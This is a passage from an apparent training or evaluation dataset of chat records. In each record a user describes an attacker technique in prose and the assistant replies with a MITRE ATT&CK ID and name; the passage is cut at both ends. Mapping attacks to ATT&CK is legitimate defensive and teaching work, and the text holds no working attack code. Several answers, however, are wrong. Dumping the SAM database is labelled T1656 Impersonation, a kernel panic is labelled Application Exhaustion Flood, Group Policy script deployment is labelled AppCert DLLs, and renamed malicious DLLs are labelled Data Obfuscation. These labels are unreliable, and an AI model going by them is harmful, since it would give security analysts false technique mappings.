    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline leaked a GitHub Actions token, which the attacker used to push malicious code to repositories and create new secrets."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a legitimate SSH session to dump the configuration of a firewall appliance."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑criminals collect proof‑of‑concept exploits from security forums to expand their arsenal."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a crafted HTTP request to trigger a serverless function in Oracle Cloud that runs a shell command to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a public‑facing API endpoint to execute arbitrary code on the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a script that monitors for newly mounted external hard drives and replicates the malicious payload onto them, enabling lateral spread."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script mimicked the legitimate \"setup.exe\" used for installing updates, residing in the C:\\Windows\\Installer directory."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool is used to retrieve saved web session cookies from the victim's system, which are then employed to log into the target portal."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the adversary edited the internal wiki home page, inserting offensive imagery and false announcements."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses steganography to embed a malicious DLL inside a legitimate video file, which is later extracted and executed on the target system."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilizes HTML smuggling to bypass email filters by sending an HTML attachment that reconstructs an executable in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised device registration, the attacker sidesteps multi‑factor authentication and re‑establishes access after account lockout."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A macOS privilege escalation exploit is used to gain access to the system keychain and retrieve admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised the web server by uploading a malicious ASP.NET module to the IIS server, allowing them to execute arbitrary code on the host."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a new authentication package using the LsaRegisterAuthenticationPackage API, causing it to execute at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use code obfuscation to conceal malicious intent in a binary"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder pays a disgruntled contractor for proprietary configuration files of the target's firewalls."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors lease domains through bulk domain registration services to host malicious advertisement redirects."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a credential‑dumping tool to harvest credentials stored in the macOS Keychain."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses an internal corporate web proxy, authenticates with stolen credentials, and tunnels malicious traffic to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the organization's Ansible inventory files to extract host passwords and SSH keys."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary conducts credential dumping by dumping the SAM database to obtain local account passwords."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat deploys a DLL that hooks into the EventLog APIs to suppress log entries."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team creates a custom exploit for a cross‑site scripting (XSS) vulnerability to steal session cookies."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor registers a new account on the target’s cloud SaaS platform to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries implement on-the-fly API resolution to conceal the use of functions like VirtualAlloc."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Windows API EnumProcesses to enumerate running services and applications."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RAT detects that the corporate proxy blocks its standard traffic and automatically switches to a Google Docs sharing link as an alternative exfil route."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses Facebook Graph API to extract details about employees' work history and locations."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor collects system logs, aggregates them, and places the consolidated log archive in a staging location on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a data exfiltration framework that enforces a maximum of 500 KB per transfer to stay under the organization's outbound traffic monitoring thresholds."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers a kernel panic, causing an immediate system crash on Linux machines."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor accessed stored passwords in AWS Secrets Manager by exploiting a vulnerable Lambda execution role."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the final stage of the intrusion, the actor executed a PowerShell script that zeroed out the free space on the C: drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses PowerShell to programmatically set Outlook's Home Page URL to a compromised site that serves malicious JavaScript on launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed a malicious executable to a .docx file so it would appear as a legitimate document to the user."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder encodes exfiltrated logs with a custom Base91 encoding to bypass data loss prevention tools."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opens an SSH tunnel to a command‑and‑control server, allowing it to issue remote commands and retrieve files."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker infiltrates a university’s online course platform, embedding malicious code that automatically triggers a malicious executable download when students access course pages."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Group Policy Preferences to push malicious scripts to multiple endpoints for lateral spread."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider runs a PowerShell script that brute-forces local Windows account passwords by enumerating password hashes and trying common patterns."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses stolen Okta API tokens to create a SAML assertion that grants remote access via the Okta Secure Web Authentication portal."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use WMI event subscriptions to watch for changes in the Event Log and then run a malicious VBScript when such events occur."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses vssadmin to create a volume shadow copy and then accesses the Active Directory database to retrieve credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware contacts its C2 server by tunneling over HTTPS to a popular video streaming site, changing the Host header to the attacker’s domain, thereby employing domain fronting to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals use domain fronting to hide malicious traffic within legitimate TLS sessions of high‑traffic services, effectively bypassing network security appliances."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By installing a malicious port monitor service, the adversary ensures their payload executes each time a print job is processed."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the post-exploitation phase, the actor runs \"chmod 660 /etc/cron.d/*\" to restrict access, preventing detection while retaining the ability to schedule malicious jobs on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised WordPress plugin, the attacker adds hidden iframe tags to posts, delivering drive‑by downloads to visitors."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a custom utility to modify the timestamps of exfiltrated data, making the transfer seem to have occurred days earlier."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses forged URL shortcuts on the victim’s desktop to execute a PowerShell script from a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"sc query type= driver\" to obtain a list of all driver services."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Replication through removable media like USB drives"
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a publicly released browser exploit to gain elevated privileges on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by POSTing JSON payloads to a Slack webhook URL controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a new rule in the target’s mailbox that forwards copies of emails to an external collection point."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the cleanup phase, the threat actor performed a secure erase of the SSD to remove evidence."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign uses Outlook rules to invoke a malicious JavaScript payload whenever a flagged email arrives, achieving persistence via Office Application Startup."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built‑in WinRM service, the attacker establishes a remote shell to run malicious scripts on target machines."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware group exploited a known vulnerability in a VPN appliance to gain initial access and then used a script to fetch additional espionage tools from a hidden Git repository."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers placed a malicious DLL on the endpoint by copying it over an existing legitimate installer package."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged compromised AWS IAM credentials to call the DeleteInstance API and terminate several EC2 instances, effectively wiping the victim's compute resources."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor altered the corporate intranet landing page to display their own banner and defaced internal news articles."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inserted a backdoored HTTP module into IIS, allowing them to execute arbitrary commands through crafted web requests."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group performed lateral propagation by mounting the \\c$ share on another workstation via SMB and executing a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys a rootkit that periodically copies /etc/passwd and /etc/shadow into a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan performs privilege escalation by directly invoking the Native API NtAdjustPrivilegesToken."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employed polymorphic techniques, generating new encrypted variants each time it runs."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leveraged an unpatched server-side template injection flaw to overwrite the site's index page with defaced text."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a spearphishing voice attack by sending a text message with a link to a malicious audio file that, when played, executes a payload on the victim’s device."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script accesses the securityd memory region to retrieve stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script reads the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList registry keys to enumerate user accounts on the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set disguises its malicious DLLs as legitimate system libraries by renaming them with similar names."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds an extra cluster-wide role to their compromised service account, enabling deployment of privileged containers."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider exploits a privileged account that has been granted trust to remote corporate systems, allowing lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
